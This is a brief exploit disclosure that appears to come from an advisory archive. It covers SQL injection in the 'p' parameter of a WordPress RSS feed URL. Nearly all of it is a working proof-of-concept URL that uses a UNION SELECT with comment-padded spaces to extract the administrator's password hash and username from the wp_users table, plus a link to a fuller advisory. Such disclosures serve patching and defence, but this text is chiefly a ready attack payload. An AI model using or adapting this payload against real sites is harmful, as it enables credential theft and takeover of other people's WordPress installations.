Vulnerable URL : http://localhost/path_to_wordpress/?feed=rss2&p=
Parameter : P
POC:
http://localhost/path_to_wordpress/?feed=rss2&p=11/**/union/**/select/**/concat(user_password,char(100),username),2/**/from/**/wp_users/**/where/**/user_id=1/*
Full Advisory : http://www.abelcheung.org/advisory/2...ss-charset.txt